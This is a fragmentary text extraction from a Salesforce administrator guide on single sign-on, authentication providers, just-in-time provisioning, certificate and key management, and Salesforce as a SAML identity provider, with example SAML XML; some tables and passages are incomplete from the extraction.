You can set up Customer Portals and partner portals to use SAML single sign-on, so that a customer only has to login once.
696
Note: Single sign-on with portals is only supported for SAML 2.0.
See Also:
About Single Sign-On
Configuring SAML Settings for Single Sign-On
Best Practices for Implementing Single Sign-On
Partner Portal Overview
Setting Up Your Customer Portal
Customize Application
Single sign-on is a process that allows network users to access all authorized network resources without having to log in
separately to each resource. Single sign-on allows you to validate usernames and passwords against your corporate user database
or other client application rather than having separate user passwords managed by Salesforce.
You can set up Sites to use SAML single sign-on, so that a customer only has to login once.
To enable single sign-on for Sites using an identity provider:
1. Set up either a Customer Portal or a partner portal.
2. Set up your Sites.
697
3. If you are using the Customer Portal, set up your Sites to use Customer Portal.
4. In addition to the SAML sign-on information that must be gathered and shared with your identity provider, you must
supply your information provider with the following:
Organization ID
Portal ID
Sites URL
The following must be added as attributes to the SAML assertion sent from your identity provider:
organization_id
portal_id
siteurl
See Also:
About Single Sign-On
Configuring SAML Settings for Single Sign-On
Best Practices for Implementing Single Sign-On
Force.com Sites Overview
Partner Portal Overview
Setting Up Your Customer Portal
698
Customize Application
AND
Modify All Data
Salesforce uses the following process for authenticating users using delegated authentication single sign-on:
1. When a user tries to log ineither online or using the APISalesforce validates the username and checks the users
permissions and access settings.
2. If the user has the Is Single Sign-On Enabled user permission, then Salesforce does not validate the username and
password. Instead, a Web services call is made to the users organization, asking it to validate the username and password.
Note: Salesforce doesnt store, log, or view the password in any way. It is disposed of immediately once the process
is complete.
3. The Web services call passes the username, password, and sourceIp to your Web service. (sourceIp is the IP address
that originated the login request. You must create and deploy an implementation of the Web service that can be accessed
by salesforce.com servers.)
4. Your implementation of the Web service validates the passed information and returns either true or false.
5. If the response is true, then the login process continues, a new session is generated, and the user proceeds to the application.
If false is returned, then the user is informed that his or her username and password combination is invalid.
Note:
System administrators should have single sign-on disabled. If your system administrators were single sign-on users
and your single sign-on server had an outage, the administrators would have no way to log in to Salesforce. System
administrators should always be able to log in to Salesforce so that they can disable single sign-on in the event of
a problem. All users, except those with the System Administrator profile, have delegated authentication enabled
by default in Professional Edition.
699
There may be a momentary delay before a new user can log in after using delegated authentication due to the time
required for the new user account to become available in the organization.
See Also:
Configuring Salesforce for Delegated Authentication
Example SAML Assertions
About Single Sign-On
Best Practices for Implementing Single Sign-On
Administrator setup guide: Single Sign-On Implementation Guide
Customize Application
AND
Modify All Data
700
When the salesforce.com server passes these credentials back to you in the Authenticate message, verify them, and
the user will gain access to the application.
3. In Salesforce, specify your organizations single sign-on gateway URL by clicking Your Name > Setup > Security Controls
> Single Sign-On Settings > Edit. Enter the URL in the Delegated Gateway URL text box.
For security reasons, Salesforce restricts the outbound ports you may specify to one of the following:
See Also:
Understanding Delegated Authentication Single Sign-On
About Single Sign-On
Example SAML Assertions
You can enable users to log into your Salesforce organization using their login credentials from an external service provider
such as Facebook or Janrain. You must do the following to successfully set up an authentication provider.
701
Facebook
Janrain
Salesforce
Customize Application
AND
Manage Auth. Providers
You can use Facebook as an authentication provider. You must complete these steps:
1. Set up a Facebook application, making Salesforce the application domain.
2. Define a Facebook authentication provider in your Salesforce organization.
3. Update your Facebook application to use the Callback URL generated by Salesforce as the Facebook Website Site
URL.
4. Test the connection.
Setting up a Facebook Application
Before you can configure Facebook for your Salesforce organization, you must set up an application in Facebook:
1. Go to the Facebook website and create a new application.
2. Modify the application settings and set the Application Domain to Salesforce.
3. Note the Application Id and the Application Secret.
Defining a Facebook Provider in your Salesforce Organization
You need the Facebook Application Id and Application Secret to set up a Facebook provider in your Salesforce organization.
1. Select Your Name > Setup > Security Controls > Auth. Providers.
2. Click New.
702
Test-Only Initialization URL: Administrators use this URL to ensure the third-party provider is set up correctly.
The administrator opens this URL in a browser, signs in to the third party, and is redirected back to Salesforce with a map
of attributes.
Single Sign-On Initialization URL: Use this URL to perform single sign-on into Salesforce from a third party
(using third-party credentials). The end user opens this URL in a browser, and signs in to the third party. This then either
creates a new user for them, or updates an existing user, and then signs them into Salesforce as that user.
Existing User Linking URL: Use this URL to link existing Salesforce users to a third-party account. The end user
opens this URL in a browser, signs in to the third party, signs in to Salesforce, and approves the link.
Callback URL: Use the callback URL for the endpoint that the authentication provider calls back to for configuration.
The authentication provider has to redirect to the Callback URL with information for each of the above client configuration
URLs.
703
Add the site-specific login URL information to the appropriate client configuration URL, such as the Single Sign-On
Initialization URL, using the site parameter
You create the site login Visualforce page, or specify the default page, when you create the site. An example site login URL
is: https%3A%2F%2Fmysite.force.com%2FSiteLogin.
The following is an example of a site-login URL added to the Single Sign-On Initialization URL, where:
orgID is your Auth. Provider ID
URLsuffix is the value you specified when you defined the authentication provider
https://login.salesforce.com/services/auth/sso/orgID/URLsuffix?site=https%3A%2F%2Fmysite.force.com%2FSiteLogin
Customize Application
AND
Manage Auth. Providers
Setting up a Janrain authentication provider is slightly different from setting up other providers. You dont use the Single
Sign-On Initialization URL that you obtain after registering your provider with Salesforce to start the flow. Instead you use
Janrains login widget thats deployed on your site.
To set up your Janrain provider:
1.
2.
3.
4.
Select Your Name > Setup > Security Controls > Auth. Providers.
Click New.
Select Janrain for the Provider Type.
Enter a Name for the provider.
704
5. Enter the URL Suffix. This is used in the Callback URL. For example, if the URL suffix of your provider is
MyJanrainProvider, your Callback URL is similar to
https://login.salesforce.com/services/authcallback/00D300000007CvvEAE/MyJanrainProvider.
6. Use the Janrain apiKey value for the Consumer Secret.
7. Optionally enter a custom error URL for the provider to use to report any errors.
8. Select an already existing Apex class as the Registration Handler class or click Automatically create a
registration handler template to create the Apex class template for the registration handler. You must edit this
class to modify the default content before using it.
Note: You must specify a registration handler class for Salesforce to use single sign-on.
9. Select the user that runs the Apex handler class for Execute Registration As. The user must have Manage Users permission.
A user is required if you selected a registration handler class or are automatically creating one.
10. To use a portal with your provider, select the portal from the Portal drop-down list.
11. Click Save.
Note the value of the Callback URL. You need it to complete the Janrain setup.
Several client configuration parameters are available after configuring Janrain as the authentication provider. Use these for the
flowtype value in the Callback URL with your Janrain login widget:
test: Use this parameter to make sure the third-party provider is set up correctly. The administrator configures a Janrain
widget to use flowtype=test, signs in to the third party, and is redirected back to Salesforce with a map of attributes.
link: Use this parameter to link existing Salesforce users to a third-party account . The end user goes to a page with a
Janrain widget configured to use flowtype=link, signs in to the third party, signs in to Salesforce, and approves the
link.
sso: Use this parameter to perform single sign-on into Salesforce from a third party (using third-party credentials). The
end user goes to a page with a Janrain widget configured to use flowtype=sso, and signs in to the third party. This then
either creates a new user for them, or updates an existing user, and then signs them into Salesforce as that user.
705
You create the site login Visualforce page, or specify the default page, when you create the site. An example site login URL
is: https%3A%2F%2Fmysite.force.com%2FSiteLogin.
The following is an example of a site-login URL added to the Callback URL:
https://login.salesforce.com/services/authcallback/00DD0000000JaqyMAC/X178JRtest?site=https%3A%2F%2Fmysite.force.com%2FSiteLogin
Customize Application
AND
Manage Auth. Providers
You can use a remote access application as an authentication provider. You must complete these steps:
1. Define a remote access application.
2. Define a Salesforce authentication provider in your organization.
3. Test the connection.
Defining a Remote Access Application
Before you can configure a Salesforce provider for your Salesforce organization, you must set up a remote access application
in your organization, using single sign-on. See Defining Remote Access Applications on page 2168.
After you finish defining a remote access application, save the values from the Consumer Key and Consumer Secret fields.
Defining the Salesforce Authentication Provider in your Organization
You need the values from the Consumer Key and Consumer Secret fields of the remote access application definition to
set up the authentication provider in your organization.
1.
2.
3.
4.
5.
Click Your Name > Setup > Security Controls > Auth. Providers.
Click New.
Select Salesforce for the Provider Type.
Enter a Name for the provider.
Enter the URL Suffix. This is used in the client configuration URLs. For example, if the URL suffix of your provider
is MySFDCProvider, your single sign-on URL is similar to
https://login.salesforce.com/auth/sso/00Dx00000000001/MySFDCProvider.
6. Paste the value of Consumer Key from the remote access application definition into the Consumer Key field.
7. Paste the value of Consumer Secret from the remote access application definition into the Consumer Secret field.
8. Optionally enter a custom error URL for the provider to use to report any errors.
706
9. Select an already existing Apex class as the Registration Handler class or click Automatically create a
registration handler template to create the Apex class template for the registration handler. You must edit this
template class to modify the default content before using it.
Note: You must specify a registration handler class for Salesforce to generate the Single Sign-On
Initialization URL.
10. Select the user that runs the Apex handler class for Execute Registration As. The user must have Manage Users
permission. A user is required if you selected a registration handler class or are automatically creating one.
11. To use a portal with your provider, select the portal from the Portal drop-down list.
12. Click Save.
Note the value of the Client Configuration URLs. You need the Callback URL to complete the last step, and you use
the Test-Only Initialization URL to check your configuration. Also be sure to note the Auth. Provider Id
value because you must use it with the Auth.AuthToken Apex class.
13. Return to the remote access application definition you created above and paste the value of Callback URL from the
authentication provider into the Callback URL field.
Several client configuration URLs are generated after defining the authentication provider:
Test-Only Initialization URL: Administrators use this URL to ensure the third-party provider is set up correctly.
The administrator opens this URL in a browser, signs in to the third party, and is redirected back to Salesforce with a map
of attributes.
Single Sign-On Initialization URL: Use this URL to perform single sign-on into Salesforce from a third party
(using third-party credentials). The end user opens this URL in a browser, and signs in to the third party. This then either
creates a new user for them, or updates an existing user, and then signs them into Salesforce as that user.
Existing User Linking URL: Use this URL to link existing Salesforce users to a third-party account. The end user
opens this URL in a browser, signs in to the third party, signs in to Salesforce, and approves the link.
Callback URL: Use the callback URL for the endpoint that the authentication provider calls back to for configuration.
The authentication provider has to redirect to the Callback URL with information for each of the above client configuration
URLs.
You create the site login Visualforce page, or specify the default page, when you create the site. An example site login URL
is: https%3A%2F%2Fmysite.force.com%2FSiteLogin.
The following is an example of a site-login URL added to the Single Sign-On Initialization URL, where:
https://login.salesforce.com/services/auth/sso/orgID/URLsuffix?site=https%3A%2F%2Fmysite.force.com%2FSiteLogin
707
Just-in-time Provisioning
JUST-IN-TIME PROVISIONING
About Just-in-Time Provisioning for SAML
Available in: All Editions
With Just-in-Time provisioning, you can use a SAML assertion to create regular and portal users on the fly the first time they
try to log in. This eliminates the need to create user accounts in advance. For example, if you recently added an employee to
your organization, you don't need to manually create the user in Salesforce. When they log in with single sign-on, their account
is automatically created for them, eliminating the time and effort with on-boarding the account. Just-in-Time provisioning
works with your SAML identity provider to pass the correct user information to Salesforce in a SAML 2.0 assertion. You can
both create and modify accounts this way. Because Just-in-Time provisioning uses SAML to communicate, your organization
must have SAML-based single sign-on enabled.
Benefits of Just-in-Time Provisioning
Implementing Just-in-Time provisioning can offer the following advantages to your organization.
Reduced Administrative Costs: Provisioning over SAML allows customers to create accounts on-demand, as part of the
single sign-on process. This greatly simplifies the integration work required in scenarios where users need to be dynamically
provisioned, by combining the provisioning and single sign-on processes into a single message.
Increased User Adoption: Users only need to memorize a single password to access both their main site and Salesforce.
Users are more likely to use your Salesforce application on a regular basis.
Increased Security: Any password policies that you have established for your corporate network are also in effect for
Salesforce. In addition, sending an authentication credential that is only valid for a single use can increase security for users
who have access to sensitive data.
See Also:
Just-in-Time Provisioning Requirements
Just-in-Time Provisioning for Portals
Just-in-Time Provisioning Errors
Example SAML Assertions
About Single Sign-On
708
Provision Version is supported as an optional attribute. If it isn't specified, the default is 1.0. For example:
<saml:Attribute Name="ProvisionVersion" NameFormat=
"urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">1.0</saml:AttributeValue>
</saml:Attribute>
ProfileIDs change per organization, even for standard profiles. To make it easier to find the profile name, Salesforce allows
you to do a profile name lookup by passing the ProfileName into the ProfileId field.
Required
Comments
AboutMe
Alias
CallCenter
City
CommunityNickname
CompanyName
Country
DefaultCurrencyIsoCode
DelegatedApproverId
Department
Division
Email
EmailEncodingKey
Y
If not present, a default is derived from the organization settings.
EmployeeNumber
Extension
Fax
FederationIdentifier (insert
only)
FirstName
709
Fields
Required
Comments
ForecastEnabled
IsActive
LastName
LanguageLocaleKey
LocaleSidKey
Manager
MobilePhone
Phone
ProfileId
ReceivesAdminInfoEmails
ReceivesInfoEmails
State
Street
TimeZoneSidKey
Title
Username (insert only)
UserRoleId
Zip
See Also:
About Just-in-Time Provisioning for SAML
Just-in-Time Provisioning for Portals
Just-in-Time Provisioning Errors
Example SAML Assertions
About Single Sign-On
710
A Federation ID must be specified. If the specified ID isn't found, a new user is created. If the specified ID is found,
the user is updated.
You must pass a valid Account ID and Contact ID.
If the portal isn't self-registration enabled and a default new user profile and role aren't specified, the User.ProfileId
field must contain a valid profile name or ID associated with the portal. In addition, the User.PortalRole field must
contain a valid portal role name or ID.
Note: The User.Role must be null.
Matching is based on Account.Number. If multiple accounts are found, an error is displayed. Otherwise, the account is
updated.
If no matching account is found, one is created.
You must specify the Account.Owner in the SAML assertion and ensure that the field level security for the
Account.Number field is set to visible for this owner's profile.
Matching is based on Contact.Email. If multiple contacts are found, an error is displayed. Otherwise, the contact is
updated.
If no matching contact is found, one is created.
711
In addition to the standard fields on page 708 supported for regular SAML JIT users, these fields are supported for accounts.
Fields
Required
Comments
Street|City|State|PostalCode|Country
Billing
AnnualRevenue
Description
Fax
FederationIdentifier (insert
only)
IsCustomerPortal
IsPartner
NumberOfEmployees
Ownership
Phone
Portal Role
Rating
Street
TickerSymbol
UserRoleId
Website
Zip
In addition to the standard fields supported for regular SAML JIT users, these fields are supported for contacts.
Fields
Required
Comments
Birthdate
Name|Phone
CanAllowPortalSelfReg
Department
Description
DoNotCall
Fax
FederationIdentifier (insert
only)
HasOptedOutofEmail
HasOptedOutofFax
HomePhone
712
Fields
Required
Comments
LeadSource
Street|City|State|PostalCode|Country
Mailing
MobilePhone
Owner
Street|City|State|PostalCode|Country
Other
OtherPhone
Phone
Salutation
Title
See Also:
About Just-in-Time Provisioning for SAML
Just-in-Time Provisioning Errors
Example SAML Assertions
About Single Sign-On
Note:
Salesforce redirects the user to a custom error URL if one is specified in your SAML configuration. For more information
on setting a custom error URL, see Configuring SAML Settings for Single Sign-On. on page 687
Error Messages
Code
Description
Error Details
MISSING_FEDERATION_ID
MISMATCH_FEDERATION_ID
Invalid organization ID
INVALID_ORG_ID
USER_CREATION_FAILED_ON_UROG
USER_CREATION_API_ERROR
713
Code
Description
Error Details
ADMIN_CONTEXT_NOT_ESTABLISHED
UNRECOGNIZED_CUSTOM_FIELD
UNRECOGNIZED_STANDARD_FIELD
11
LICENSE_LIMIT_EXCEEDED
12
13
UNSUPPORTED_VERSION
14
USER_NAME_CHANGE_NOT_ALLOWED
15
UNSUPPORTED_CUSTOM_FIELD_TYPE
16
17
ROLE_NAME_LOOKUP_ERROR
18
Invalid account
INVALID_ACCOUNT_ID
19
MISSING_ACCOUNT_NAME
20
MISSING_ACCOUNT_NUMBER
22
ACCOUNT_CREATION_API_ERROR
23
Invalid contact
INVALID_CONTACT
24
MISSING_CONTACT_EMAIL
25
MISSING_CONTACT_LAST_NAME
26
CONTACT_CREATION_API_ERROR
27
MULTIPLE_CONTACTS_FOUND
28
MULTIPLE_ACCOUNTS_FOUND
30
INVALID_ACCOUNT_OWNER
31
INVALID_PORTAL_PROFILE
32
ACCOUNT_CHANGE_NOT_ALLOWED
33
ACCOUNT_UPDATE_FAILED
34
CONTACT_UPDATE_FAILED
35
INVALID_STANDARD_ACCOUNT_FIELD_VALUE
36
CONTACT_CHANGE_NOT_ALLOWED
714
Key Pairs
Code
Description
Error Details
37
INVALID_PORTAL_ROLE
See Also:
About Just-in-Time Provisioning for SAML
Just-in-Time Provisioning Requirements
Just-in-Time Provisioning for Portals
KEY PAIRS
About Salesforce Certificates and Keys
Available in: All Editions
Customize Application
To work with Salesforce certificates and keys, click Your Name > Setup > Security Controls > Certificate and Key
Management. From this page you can:
Certificates
Salesforce certificates and key pairs are used for signatures that verify a request is coming from your organization. They are
used for authenticated SSL communications with an external web site, or when using your organization as an Identity Provider.
You only need to generate a Salesforce certificate and key pair if you're working with an external website that wants verification
that a request is coming from a Salesforce organization.
Salesforce offers two types of certificates:
Self-signed
A self-signed certificate is signed by Salesforce. Not all external websites accept self-signed certificates.
CA-signed
A CA-signed certificate is signed by an external certificate authority (CA). Most external websites accept CA-signed
certificates. You must first generate the certificate signing request to send to a CA, and then import the signed version
of the certificate before you can use it.
715
See Also:
Creating Certificates and Key Pairs
Editing Salesforce Certificates and Key Pairs
Uploading Certificate Authority (CA)-Signed Certificates
Managing Master Encryption Keys
Customize Application
716
Note: Once you save a Salesforce certificate, you can't change the key size.
6. If you're creating a CA-signed certificate, you must also enter the following information. These fields are joined together
to generate a unique certificate.
Field
Description
Common Name
Email Address
Company
Department
City
State
Country Code
7. Click Save.
After you successfully save a Salesforce certificate, the certificate and corresponding keys are automatically generated.
You can have a maximum of 50 certificates.
After you create a CA-signed certificate, you must upload the signed certificate before you can use it.
Note: After you create a CA-signed certificate and certificate request, the certificate is not active and you can't use it
until it's been signed by a certificate authority and uploaded into your organization.
See Also:
About Salesforce Certificates and Keys
Viewing Salesforce Certificates and Key Pairs
Editing Salesforce Certificates and Key Pairs
Uploading Certificate Authority (CA)-Signed Certificates
717
Customize Application
After you create a CA-signed certificate , you must do the following before the certificate is active and you can use the certificate.
1. Click Your Name > Setup > Security Controls > Certificate and Key Management, click the name of the certificate,
then click Download Certificate Signing Request.
2. Send the certificate request to the certificate authority of your choice.
3. After the certificate authority sends back the signed certificate, click Your Name > Setup > Security Controls > Certificate
and Key Management, click the name of the certificate, then click Upload Signed Certificate.
4. Click Browse to locate the CA-signed certificate. The CA-signed certificate must match the certificate created in Salesforce.
If you try to upload a different CA-signed certificate, the upload fails.
5. Click Save to finish the upload process. Click Cancel at any time to not upload the certificate.
After you successfully upload the signed certificate, the status of the certificate is changed to Active and you can use CA-signed
certificate.
Note: You can't delete a CA-signed certificate after you've uploaded the signed certificate.
See Also:
About Salesforce Certificates and Keys
Creating Certificates and Key Pairs
Viewing Salesforce Certificates and Key Pairs
Editing Salesforce Certificates and Key Pairs
Customize Application
To view the details of a Salesforce certificate, click Your Name > Setup > Security Controls > Certificate and Key Management,
then click the name of a certificate.
718
From the certificate detail page, you can do any of the following:
Click Download Certificate to download the full Base-64 encoded certificate. This is only available for active certificates.
For CA-signed certificates, you must first upload the signed certificate before you can download or use it.
Click Download Certificate Signing Request for CA-signed certificates that have not yet had the signed certificate
uploaded.
Click Upload Signed Certificate to upload the CA-signed certificate.
See Also:
About Salesforce Certificates and Keys
Creating Certificates and Key Pairs
Editing Salesforce Certificates and Key Pairs
Uploading Certificate Authority (CA)-Signed Certificates
Customize Application
After you create a Salesforce certificate, you can only change the Label and the Unique Name. You can't change the type,
key size, and so on. The certificate and the keys aren't regenerated when you edit a Salesforce certificate.
Caution: Apex and the Force.com Web services API use the Unique Name to access the certificate. Changing the
Unique Name could cause your code to break.
To edit a Salesforce certificate:
1. Go to Your Name > Setup > Security Controls > Certificate and Key Management.
2. Click Edit next to the name of a Salesforce certificate.
3. Make your changes, then click Save.
To delete a certificate, click Del. If a certificate is being used as part of the configuration of your identity provider, you cannot
delete it.
719
Note: You can't delete a CA-signed certificate after you've uploaded the signed certificate.
See Also:
About Salesforce Certificates and Keys
Creating Certificates and Key Pairs
Viewing Salesforce Certificates and Key Pairs
Uploading Certificate Authority (CA)-Signed Certificates
Customize Application
Fields that are encrypted using encrypted custom fields, such as social security number or credit card number, use a master
encryption key to encrypt the data. This key is automatically assigned when you enable encrypted fields for your organization.
You can manage the master key based on your organizations security needs and regulatory requirements. With master encryption
keys, you can do the following:
Click Your Name > Setup > Security Controls > Certificate and Key Management.
Click Archive Current Key and Create New Key.
A warning message displays letting you know you are changing keys. Click OK.
A new key is generated, assigned the next sequential number, and activated.
All new data is encrypted using the new key. Existing data continues to use the archived key until the data is modified and
saved. Then data is encrypted using the new key.
After you archive a key, you can export or delete it.
Exporting Keys
You can export your keys to a back-up location for safe keeping. Its a good idea to export a copy of any key before deleting
it.
720
Exporting creates a text file with the encrypted key. You can import the key back into your organization at a later time.
Click Export next to the key you want to export.
Deleting Keys
Don't delete a key unless you're absolutely certain no data is currently encrypted using the key. After you delete a key, any data
encrypted with that key can no longer be accessed. If you export the key before you delete it, you can import the key back into
your organization.
To delete a key, click Delete next to the key you want to delete.
The date the key is deleted displays.
Importing Keys
If you have data associated with a deleted key, you can import an exported key back into your organization. Any data that was
not accessible becomes accessible again.
Click Import next to the key you want to import.
See Also:
About Salesforce Certificates and Keys
Creating Certificates and Key Pairs
Editing Salesforce Certificates and Key Pairs
Uploading Certificate Authority (CA)-Signed Certificates
Customize Application
An identity provider is a trusted provider that enables you to use single sign-on to access other websites. A service provider is a
website that hosts applications. You can enable Salesforce as an identity provider, then define one or more service providers,
so your users can access other applications directly from Salesforce using single sign-on. This can be a great help to your users:
instead of having to remember many passwords, they will only have to remember one. Plus, the applications can be added as
tabs to your Salesforce organization, which means users won't have to switch between programs.
721
Before you can enable Salesforce as an identity provider, you must set up a domain.
Enabling Salesforce as an identity provider requires a self-signed Salesforce certificate and key pair. If you haven't generated
a Salesforce certificate and key pair, one is automatically created for you when you enable Salesforce as an identity provider.
You also have the option of picking an already generated certificate, or creating one yourself.
Salesforce uses the SAML 2.0 standard for single sign-on and generates SAML assertions when configured as an identity
provider.
Use the identity provider error log if your users have errors when trying to log into your service provider's apps.
Using Identity Providers and Service Providers
Salesforce supports the following:
Identity-provider-initiated loginwhen Salesforce logs into a service provider at the initiation of the end-user
Service-provider-initiated loginwhen the service provider requests Salesforce to authenticate a user, at the initiation of
the end-user
The following is the general flow when Salesforce as an identity provider logs into a service provider.
1. User tries to access a service provider already defined in Salesforce.
2. Salesforce sends a SAML response to the service provider. The following is an example of a response (you might want to
share this with your service provider):
722
1. The service provider sends a valid SAML request. The endpoint is automatically generated when the service provider is
definedthe SP-Initiated POST Endpoint.
2. Salesforce identifies the user included in the SAML request.
<samlp:AuthnRequest ID="bndkmeemcaamihajeloilkagfdliilbhjjnmlmfo" Version="2.0"
IssueInstant="2010-05-24T22:57:19Z"
ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"
ProviderName="google.com" IsPassive="false"
AssertionConsumerServiceURL="https://www.google.com/a/resp.info/acs">
<saml:Issuer>google.com</saml:Issuer>
<samlp:NameIDPolicy AllowCreate="true"
Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified"/>
</samlp:AuthnRequest>
If a certificate was included as part of the definition, Salesforce authenticates the certificate.
Note: If a certificate is included in the service provider definition, and the SAML request does not contain a
certificate, the request fails, and the user is not logged in using Salesforce. If the definition does not include a
certificate, and the request includes one, the request succeeds if the user is identified correctly.
3. If the user isn't already logged into Salesforce, they are prompted to do so.
4. Salesforce sends a SAML response to the service provider.
5. The service provider authenticates the SAML response sent by Salesforce. If the user has been authenticated, they are
logged into the service provider. The user is also logged into Salesforce.
Important: Salesforce doesn't provide any mechanism for automatically logging the user out of Salesforce when
they log out of the service provider.
723
The following is an example of the SAML response from Salesforce. You might want to share this information with your
service provider.
<samlp:Response Destination="https://login-blitz03.soma.salesforce.com/
?saml=MgoTx78aEPa2r1BHKCHmlfUKhH2mkDrXOjmYcjHG_qNDbsRM_6ZAo.wvGk"
ID="_0f551f9288c8b76f21c3d4d15c9cd1df1290476801091"
InResponseTo="_2INwHuINDJTvjo8ohcM.Fpw_uLukYi0WArVx2IJD569kZYL
osBwuiaSbzzxOPQjDtfw52tJB10VfgPW2p5g7Nlv5k1QDzR0EJYGgn0d0z8
CIiUOY31YBdk7gwEkTygiK_lb46IO1fzBFoaRTzwvf1JN4qnkGttw3J6L4b
opRI8hSQmCumM_Cvn3DHZVN.KtrzzOAflcMFSCY.bj1wvruSGQCooTRSSQ"
IssueInstant="2010-11-23T01:46:41.091Z" Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"
>identityorg.blitz03.blitz.salesforce.com</saml:Issuer>
<ds:Signature>
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
<ds:Reference URI="#_0f551f9288c8b76f21c3d4d15c9cd1df1290476801091">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#">
<ec:InclusiveNamespaces PrefixList="ds saml samlp xs"/>
</ds:Transform>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
<ds:DigestValue>4NVTbQ2WavD+ZBiyQ7ufc8EhtZw=</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>
eqrkFxNlJRCT4VQ7tt7wKZGK7oLCCCa4gV/HNcL03RoKbSXIcwU2CAqW0qTSj25FqhRe2fOwAYa5
xFWat7Fw2bbncU+/nnuVNZut8HEEQoHiQA/Jrh7XB4CNlOpM1QRvgB5Dtdkj/0lI4h3X3TFix57B
sgZJGbb5PWEqSH3ZAl+NPvW9nNtYQIFyCTe9+cw2BhCxFgSWfP3/kIYHSM2gbIy27CrRrFS1lAqP
hKSLaH+ntH1E09gp78RSyJ2WKFGJU22sE9RJSZwdVw3VGG06Z6RpSjPJtaREELhhIBWTHNoF+VvJ
2Hbexjew6CO08lXRDe8dbrrPIRK/qzHZYf1H0g==
</ds:SignatureValue>
<ds:KeyInfo>
<ds:X509Data>
<ds:X509Certificate>
MIIEbjCCA1agAwIBAgIOASh04QulAAAAAClXs7MwDQYJKoZIhvcNAQEFBQAwfTEVMBMGA1UEAwwM
SWRlbnRpdHkgT3JnMRgwFgYDVQQLDA8wMEREMDAwMDAwMEZIOGwxFzAVBgNVBAoMDlNhbGVzZm9y
Y2UuY29tMRYwFAYDVQQHDA1TYW4gRnJhbmNpc2NvMQswCQYDVQQIDAJDQTEMMAoGA1UEBhMDVVNB
MB4XDTEwMDUwNzIyMjcwNVoXDTEyMDUwNjIyMjcwNVowfTEVMBMGA1UEAwwMSWRlbnRpdHkgT3Jn
MRgwFgYDVQQLDA8wMEREMDAwMDAwMEZIOGwxFzAVBgNVBAoMDlNhbGVzZm9yY2UuY29tMRYwFAYD
VQQHDA1TYW4gRnJhbmNpc2NvMQswCQYDVQQIDAJDQTEMMAoGA1UEBhMDVVNBMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyM4/sjoaizbnWTDjt9mGht2fDGxnLCWGMJ+D+9NWXD5wM15N
SFEcflpI9W4makcCGvoac+CVbPTmOUzOsCQzu7iGkLeMMpngf2XqllnJgl4ejuH8socNrDtltaMk
hC08KAmli3Wm/okllqSjVOl8H52jtbvm6HkvLVj2NDLRY6kUejVZMGjGwV5E0FJliwgIip4sCchl
dkahbNjbikiiv1MAs8xHbtBt3wnKZWJq3JtS0va1sazUVmEwGDlVW43QPF0S7eV3IJFFhyCPV8yF
N3k0wCkCVBWoknwkMA8CbD+p6qNBVmvh3F3IaW2oym/1eSvtMLNtrPJeZzssqDYqgQIDAQABo4Hr
MIHoMB0GA1UdDgQWBBTYSVEZ9r8Q8T2rbZxPFfPYPZKWITCBtQYDVR0jBIGtMIGqgBTYSVEZ9r8Q
8T2rbZxPFfPYPZKWIaGBgaR/MH0xFTATBgNVBAMMDElkZW50aXR5IE9yZzEYMBYGA1UECwwPMDBE
RDAwMDAwMDBGSDhsMRcwFQYDVQQKDA5TYWxlc2ZvcmNlLmNvbTEWMBQGA1UEBwwNU2FuIEZyYW5j
aXNjbzELMAkGA1UECAwCQ0ExDDAKBgNVBAYTA1VTQYIOASh04QupAAAAAClXs7MwDwYDVR0TAQH/
BAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEANaO5Tqcc56E6Jv8itwjtbPvR+WHEMnZgQ9cCPF5Q
724
VACd5v7I/srx4ZJt/ZO4RZkmX1FXla0M7JGOu63eELHYG1DxT1SpGmpOL7xfBn7QUoh8Rmpp3BZC
WCPIcVQHLs1LushsrpbWu+85tgzlVN4sFVBl8F9rohhbM1dMOUAksoQgM3avcZ2vkugKhX40vIuf
Gw4wXZe4TBCfQay+eDONYhYnmlxVV+dJyHheENOYfVqlau8RMNhRNmhXlGxXNQyU3kpMaTxOux8F
DyOjc5YPoe6PYQ0C/mC77ipnjJAjwm+Gw+heK/9NQ7fIonDObbfu2rOmudtcKG74IDwkZL8HjA==
</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</ds:Signature>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion ID="_e700bf9b25a5aebdb9495fe40332ef081290476801092"
IssueInstant="2010-11-23T01:46:41.092Z" Version="2.0">
<saml:Issuer
Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">identityorg.blitz03.blitz.salesforce.com</saml:Issuer>
<saml:Subject>
<saml:NameID
Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">charliemortimore@gmail.com</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2010-11-23T01:51:41.093Z"
Recipient="https://login-blitz03.soma.salesforce.com/?saml=MgoTx78aEPa2r1BHKCHmlfUKhH2mkDrXOjmYcjHG_qNDbsRM_6ZAo.wvGk"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:AudienceRestriction>
<saml:Audience>https://childorgb.blitz03.blitz.salesforce.com</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2010-11-23T01:46:41.092Z">
<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement>
<saml:Attribute Name="userId"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
